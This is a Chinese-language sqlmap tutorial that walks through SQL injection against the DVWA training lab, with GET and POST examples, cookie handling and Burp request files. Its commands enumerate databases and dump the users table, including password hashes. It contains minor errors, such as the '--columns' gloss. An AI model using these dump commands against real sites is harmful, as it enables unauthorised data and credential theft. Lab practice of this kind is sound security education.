有用户登录就要有cookie值
一GET提交方法:(sqlmap -u ‘URL‘ )或后需加cookie
(sqlmap -u "http://www.xx.com?id=x" --cookie "cookie")
1. sqlmap -u "http://www.xx.com?id=x" 【查询是否存在注入点
2. --dbs 【检测站点包含哪些数据库
3. --current-db 【获取当前的数据库名
4. -D "db_name" --tables 【获取指定数据库中的表名 -D后接指定的数据库名称
5. -D "db_name" -T "table_name" --columns【获取数据库表中的字段
6. -D "db_name" -T "table_name" -C "columns_name" --dump 【获取字段的数据内容
二.POST提交方法
方法一,用sqlmap -u ‘www.xx.com/login.asp‘ --data "username=1"
因为post提交URL中没有显示提交参数 所以要- -data “提交的参数值”
方法二,用sqlmap -r (.txt)
(1)目标地址http:// www.xxx.com /login.asp
(2)打开brup代理。
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r 111.txt
核心就是要用{-D "db_name" -T "table_name" -C "columns_name" --dump 【获取字段的数据内容】}获取数据
常用指令:
1. --tables 【获取表名
2. --dbs 【检测站点包含哪些数据库
3. - -columns 【获取表中的所有库
4. - -dump 【最终导出数据
5. --current-db 【获取当前的数据库名
6. --current-user 【检测当前用户
7. --is-dba 【判断站点的当前用户是否为数据库管理员
8. --batch 【默认确认,不询问你是否输入
9. –level 【执行测试的等级(1-5,默认为1)level等级变化,sqlmap采用的payload也会有变化
三.测试GET提交方法
DVWA初级
1.打开Kali的sqlmap,输入sqlmap -v可以看到它已经kali自带安装有了。
2.注入探测
测试指令:
sqlmap -u "[目标注入点]"
我们可以看到它爆出了有SQL注入漏洞,而且可以探测到数据库是mysql ,但因为缺少cookie,当我们想探测它的数据库内容的时候,则会要求我们做验证,因为我们的DVWA是需要登录的。
3.登录探测
这时候我们知道DVWA账户密码,并且已经登录了,那我们就要把我们已经登录授权给到sqlmap。
(1)在浏览器登录DVWA并转到我们的测试界面后,按F12键打开火狐的开发者模式,找到Network。
点击重新加载页面,选择第一个数据包,找到cookie值。
(2)将cookie值复制下来,进行登录探测,检测指令:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]"
4.获取所有数据库名
探测出有注入点,又有了登录授权,我们可以开始探测数据库里面的内容了。获取数据库名:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" --dbs
可以看到列出了5个数据库的名称。
5.获取指定数据库中表名
我们可以看看dvwa数据库里面有哪些表。获取指定数据库表名:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa--tables
可以看到有一个guestbook表、一个users表。
6.获取指定表中的所有数据
看到用户列表,我们自然是要看一下的。可以直接查看用户表所有数据:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa -T users --dump
我们可以看到它列出了dvwa数据库users表里所有的数据,包括账户名和加密存储的账户密码。
7.获取指定表中列名
如果遇到数据比较多的表全部列举出来会显示很乱,我们可以先获取表中的列名。
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa -T users --columns
8.获取指定列数据
我们知道列名之后就可以查询指定列的数据,命令:
sqlmap -u "[目标注入点]" --cookie="[站点cookie]" -D dvwa -T users -C user,password --dump
我们这里查询账户名和密码,由于mysql数据库对密码字段做了哈希,命令执行过程中会询问你是否进行解析,我这里选了yes。
这样我们就完成了一次使用sqlmap对dvwa简单级别的的sql注入测试,成功拿到了dvwa的所有账户名和密码。
四.测试POST提交方式
方法一 sqlmap -u "[目标注入点]" --data "[request]"
DVWA中级
上面我们对初级做了测试,现在我们试一下对中级难度的DVWA是否同样可以进行注入呢。
1.调整靶场难度等级为中级。
2.确定注入点
我们可以看到难度调整为中级之后,数据请求方式由初级使用的get方式变成了post,查询输入接口由手动输入变成了选择方式,且在url不会直接显示我们的查询请求。
- 这时候我们如果依然采用像初级一样的执行语句无法查询到任何注入点。
它会告诉我们缺少请求输入字段数据。
4.我们可以发现相比于初级,网站查询时所给出的url缺少了“id=1&Submit=Submit”字段,这一字段不显示在url里而是包含在请求数据包里。
5.我们将request字段加入我们的测试语句中:
sqlmap -u "[目标注入点]" --data "[request]" --cookie="[站点cookie]"
6.查询账户名、密码,测试语句:
sqlmap -u "[目标注入点]" --data "[request]" --cookie="[站点cookie]" -D dvwa -Tusers -C user,password --dump
测试POST提交方式
方法二 sqlmap -r .txt -D 【库名】 -T【表名】-C【字段名】--dump 获取数据
例如index.php
- 打开brup代理。
- 点击表单提交
- burp获取拦截信息(post)
- 右键保存文件(.txt)到指定目录下
复制HTTP请求报文创建成111.txt文件
- 运行sqlmap并执行如下命令:
用例:sqlmap -r 111.txt
这就是POST提交方式中第二种测试方法